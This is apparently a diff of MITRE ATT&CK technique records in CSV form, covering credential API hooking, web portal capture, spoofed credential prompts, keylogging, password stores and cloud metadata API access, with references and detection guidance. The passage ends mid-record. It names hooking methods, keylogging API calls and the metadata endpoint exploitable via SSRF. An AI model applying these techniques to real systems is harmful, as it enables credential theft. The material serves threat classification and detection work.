+attack-pattern,attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:01:15.930Z,2020-11-10T18:29:31.138Z,Credential API Hooking,"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1056/004', external_id='T1056.004'), ExternalReference(source_name='Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017', description='Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.', url='https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918'), ExternalReference(source_name='Microsoft Hook Overview', description='Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='Adlice Software IAT Hooks Oct 2014', description='Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.', url='https://www.adlice.com/userland-rootkits-part-1-iat-hooks/'), ExternalReference(source_name='MWRInfoSecurity Dynamic Hooking 2015', description='Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.', url='https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/'), ExternalReference(source_name='HighTech Bridge Inline Hooking Sept 2011', description='Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.', url='https://www.exploit-db.com/docs/17802.pdf'), ExternalReference(source_name='Volatility Detecting Hooks Sept 2012', description='Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.', url='https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html'), ExternalReference(source_name='PreKageo Winhook Jul 2011', description='Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.', url='https://github.com/prekageo/winhook'), ExternalReference(source_name='Jay GetHooks Sept 2011', description='Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.', url='https://github.com/jay/gethooks'), ExternalReference(source_name='Zairon Hooking Dec 2006', description='Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.', url='https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/'), ExternalReference(source_name='EyeofRa Detecting Hooking June 2017', description='Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.', url='https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/'), ExternalReference(source_name='GMER Rootkits', description='GMER. (n.d.). GMER. Retrieved December 12, 2017.', url='http://www.gmer.net/'), ExternalReference(source_name='Microsoft Process Snapshot', description='Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx'), ExternalReference(source_name='StackExchange Hooks Jul 2012', description='Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.', url='https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis')]",attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-11-10 18:29:31.138000+00:00,Credential API Hooking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Metadata']",,,,,"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/004', 'external_id': 'T1056.004'}, {'source_name': 'Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017', 'description': 'Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918'}, {'source_name': 'Microsoft Hook Overview', 'description': 'Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'Adlice Software IAT Hooks Oct 2014', 'description': 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.', 'url': 'https://www.adlice.com/userland-rootkits-part-1-iat-hooks/'}, {'source_name': 'MWRInfoSecurity Dynamic Hooking 2015', 'description': 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.', 'url': 'https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/'}, {'source_name': 'HighTech Bridge Inline Hooking Sept 2011', 'description': 'Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.', 'url': 'https://www.exploit-db.com/docs/17802.pdf'}, {'source_name': 'Volatility Detecting Hooks Sept 2012', 'description': 'Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.', 'url': 'https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html'}, {'source_name': 'PreKageo Winhook Jul 2011', 'description': 'Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.', 'url': 'https://github.com/prekageo/winhook'}, {'source_name': 'Jay GetHooks Sept 2011', 'description': 'Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.', 'url': 'https://github.com/jay/gethooks'}, {'source_name': 'Zairon Hooking Dec 2006', 'description': 'Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.', 'url': 'https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/'}, {'source_name': 'EyeofRa Detecting Hooking June 2017', 'description': 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.', 'url': 'https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/'}, {'source_name': 'GMER Rootkits', 'description': 'GMER. (n.d.). GMER. Retrieved December 12, 2017.', 'url': 'http://www.gmer.net/'}, {'source_name': 'Microsoft Process Snapshot', 'description': 'Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx'}, {'source_name': 'StackExchange Hooks Jul 2012', 'description': 'Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.', 'url': 'https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Process: Process Metadata']",,"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. -Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-02-11 18:59:50.058000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:59:50.058Z,2020-03-24T21:16:16.580Z,Web Portal Capture,"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. -This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1056/003', external_id='T1056.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/569.html', external_id='CAPEC-569'), ExternalReference(source_name='Volexity Virtual Private Keylogging', description='Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', url='https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/')]",attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-24 21:16:16.580000+00:00,Web Portal Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,['An externally facing login portal is configured.'],,1.0 -2020-02-11 18:58:45.908000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). +This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/003', 'external_id': 'T1056.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html', 'external_id': 'CAPEC-569'}, {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.,True,,"['Linux', 'macOS', 'Windows']",1.0,,['An externally facing login portal is configured.'],,,,, +attack-pattern,attack-pattern--a2029942-0a85-4947-b23c-ca434698171d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:58:45.908Z,2021-08-24T18:21:07.926Z,GUI Input Capture,"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). -Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1056/002', external_id='T1056.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/659.html', external_id='CAPEC-659'), ExternalReference(source_name='OSX Malware Exploits MacKeeper', description='Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.', url='https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html'), ExternalReference(source_name='LogRhythm Do You Trust Oct 2014', description='Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.', url='https://logrhythm.com/blog/do-you-trust-your-computer/'), ExternalReference(source_name='OSX Keydnap malware', description='Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', url='https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'), ExternalReference(source_name='Enigma Phishing for Credentials Jan 2015', description='Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', url='https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/')]",attack-pattern--a2029942-0a85-4947-b23c-ca434698171d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-24 20:56:14.853000+00:00,GUI Input Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Molyett, @s1air, Cisco Talos']",['Process: Process Creation'],,,,,"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. +Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/002', 'external_id': 'T1056.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/659.html', 'external_id': 'CAPEC-659'}, {'source_name': 'OSX Malware Exploits MacKeeper', 'description': 'Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.', 'url': 'https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html'}, {'source_name': 'LogRhythm Do You Trust Oct 2014', 'description': 'Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.', 'url': 'https://logrhythm.com/blog/do-you-trust-your-computer/'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'Spoofing credential dialogs', 'description': 'Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.', 'url': 'https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/'}, {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Molyett, @s1air, Cisco Talos']","['Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) -Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",,,,,True,,,['User'],"['macOS', 'Windows']",,,,1.0 -2020-02-11 18:58:11.791000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. +Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ",True,['User'],"['macOS', 'Windows', 'Linux']",1.1,,,,,,, +attack-pattern,attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:58:11.791Z,2020-10-21T01:30:56.227Z,Keylogging,"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include: @@ -1498,33 +1690,33 @@ Keylogging is the most prevalent type of input capture, with many different ways * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. -* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1056/001', external_id='T1056.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/568.html', external_id='CAPEC-568'), ExternalReference(source_name='Adventures of a Keystroke', description='Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', url='http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-10-21 01:30:56.227000+00:00,Keylogging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,,,,"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",,,,,True,,,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux', 'Network']",,,,1.1 -2020-02-11 18:48:28.456000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555', external_id='T1555')]",attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-29 21:00:19.428000+00:00,Credentials from Password Stores,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,,,,"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",,,,,False,,,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-11 18:47:46.619000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. +* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/001', 'external_id': 'T1056.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/568.html', 'external_id': 'CAPEC-568'}, {'source_name': 'Adventures of a Keystroke', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",True,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux', 'Network']",1.1,,,,,,, +attack-pattern,attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:48:28.456Z,2021-06-21T17:58:03.788Z,Credentials from Password Stores,"Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555', 'external_id': 'T1555'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",False,['Administrator'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:47:46.619Z,2021-03-31T19:41:06.948Z,Cloud Instance Metadata API,"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018) The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/005', external_id='T1552.005'), ExternalReference(source_name='AWS Instance Metadata API', description='AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.', url='https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html'), ExternalReference(source_name='Krebs Capital One August 2019', description='Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.', url='https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/'), ExternalReference(source_name='RedLock Instance Metadata API 2018', description='Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.', url='https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse')]",attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-03-31 19:41:06.948000+00:00,Cloud Instance Metadata API,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],['User Account: User Account Authentication'],,,,,"Monitor access to the Instance Metadata API and look for anomalous queries. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/005', 'external_id': 'T1552.005'}, {'source_name': 'AWS Instance Metadata API', 'description': 'AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html'}, {'source_name': 'Krebs Capital One August 2019', 'description': 